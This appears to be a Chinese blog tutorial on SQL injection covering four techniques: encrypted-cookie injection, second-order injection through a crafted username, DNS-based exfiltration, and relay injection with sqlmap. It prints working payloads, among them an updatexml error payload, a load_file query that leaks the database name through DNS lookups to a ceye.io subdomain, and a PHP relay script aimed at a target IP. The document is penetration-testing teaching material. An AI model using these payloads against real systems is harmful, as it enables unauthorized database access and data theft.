SQL注入加解密注入DNS注入二次注入(六)

加解密注入

原理

加解密就是说他所有参数在前端都是加密的,传到后端再解密一次。

如果你直接明文注入,他会在解密,就什么也不什么了,所以要先知道加密方式然后去构造对应的密文注入语句再进行注入。

例子

输入账密提交进行抓包:

C3

发现Cookie里面字段被加密

C1

进行解密,因为%3D是符号”=“的url编码。

C2

多种解密算法进行解密,最终发现加密方式为base64的方式。

于是利用报错注入构造注入语句:

admin' or updatexml(1,concat(0x7e,(database())),0) or '

经过base64加密后

YWRtaW4nIG9yIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLChkYXRhYmFzZSgpKSksMCkgb3IgJw==

进行注入,注入成功!爆出数据库。

C4

白盒方式来看:

C5

可以看到前面加密后传到后端是再次进行了一次解密再代入sql语句里进行查询。

二次注入

原理

二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。

8581772-b024d9bb4acded26

二次注入:跟前面的有一些区别不是原理的区别,原理都一样,而是产生方式的区别。

产生再审计代码里。。。 也就是说你黑盒测试测不出来的,只能白盒代码审计才能看出逻辑点。这是高端局

例子

我们在注册用户之前,数据库里用户列表如下:

+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
|  7 | batman   | mob!le     |
|  8 | admin    | admin      |
|  9 | admin1   | admin1     |
| 10 | admin2   | admin2     |
| 11 | admin3   | admin3     |
| 12 | dhakkan  | dumbo      |
| 14 | admin4   | admin4     |
+----+----------+------------+
14 rows in set (0.00 sec)

我们注册一个用户,账号名为:admin’#  密码为admin 的用户。

+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
|  7 | batman   | mob!le     |
|  8 | admin    | admin      |
|  9 | admin1   | admin1     |
| 10 | admin2   | admin2     |
| 11 | admin3   | admin3     |
| 12 | dhakkan  | dumbo      |
| 14 | admin4   | admin4     |
| 15 | admin'#  | admin      |
+----+----------+------------+
14 rows in set (0.00 sec)

注册后,我们进行登录然后尝试修改密码!

E2

修改密码后再回过来看数据库:

+----+----------+------------+
| id | username | password   |
+----+----------+------------+
|  1 | Dumb     | Dumb       |
|  2 | Angelina | I-kill-you |
|  3 | Dummy    | p@ssword   |
|  4 | secure   | crappy     |
|  5 | stupid   | stupidity  |
|  6 | superman | genious    |
|  7 | batman   | mob!le     |
|  8 | admin    | 123456     |
|  9 | admin1   | admin1     |
| 10 | admin2   | admin2     |
| 11 | admin3   | admin3     |
| 12 | dhakkan  | dumbo      |
| 14 | admin4   | admin4     |
| 15 | admin'#  | admin      |
+----+----------+------------+
14 rows in set (0.00 sec)

发现admin”#的密码还是admin 没有被修改, 而admin的密码被我修改为123456了

原因是代码执行的过程中将’#没有过滤直接带入执行导致’与前面的代码闭合而#将后面的代码给注释,数据库误以为用户是admin 然后把admin的密码给改了,这就是二次注入

DNS注入

为什么要使用DNS注入

盲注跑数据太慢的情况下,选择DNS注入是一个好办法。

DNS注入的原理

把域名dns指向我们的服务器域名,这样的话解析域名的时候就会向我们的dns服务器查询。通过递归查询就可以获取数据库上的信息了。要记住整个域名内的节点标签被限制在63个字符长度大小。

DNS注入的要求

  • 满足条件:对方注入点是一个高权限root
  • 要有文件读取的这个操作权限。
  • 数据库在配置中允许域名解析时

DNS注入的核心,将盲注转化为显错注入

例子

在  http://ceye.io 里注册一个号 DNS服务器 用来回显。

D1

这个参数记住 就是回显的地址

下面这个标黑的地方换成这个回显地址

‘ and load_file(concat(‘\\\\’,(select database()),’.cmr1ua.ceye.io\\abc’))–+

构造注入语句显示数据库名:

http://127.0.0.1/example/?id=1′ and load_file(concat(‘\\\\’,(select database()),’.uh6njd.ceye.io\\abc’))–+

注入之后 去DNS服务器上查询回显:

D2

成功爆出数据库名,接下来那一套操作就是常规的爆表爆列爆字段,修改对应语法就行。

参考文档:https://www.cnblogs.com/xhds/p/12322839.html

中转注入

原理

比如受害者网站URL注入点是经过编码的,不能直接结合sqlmap进行漏洞利用,所以本地搭建一个网站,写一个php脚本编码文件,就可以结合sqlmap工具进行测试。
因为,注入点经过复杂编码之后,就不能直接结合sqlmap进行漏洞攻击了。或者sqlmap自己编写tamper脚本进行攻击

例子

这里拿base64编码进行举例,假如sqlmap没有base64的模块,而目标网站注入点是base64编码,我们就可以在本地写一个php文件,这个php脚本里面包含对目标网站的请求,然后利用php自带的base64编码函数

<?php 
$id = base64_encode($_GET['id']);
echo file_get_contents("http://219.153.49.228:40817/show.php?id=$id");


//base64_encode base67编码
//file_get_contents 网络请求
?>

接下来用sqlmap对本地这个页面进行注入,虽然是本地,实际是对目标站进行注入

2020112515134264

2020112515144671

相当于 你中转 一下 加一个sqlmap上没有的功能而已,没啥复杂的。

© 版权声明
THE END
喜欢就支持一下吧
点赞15 分享
评论 抢沙发

请登录后发表评论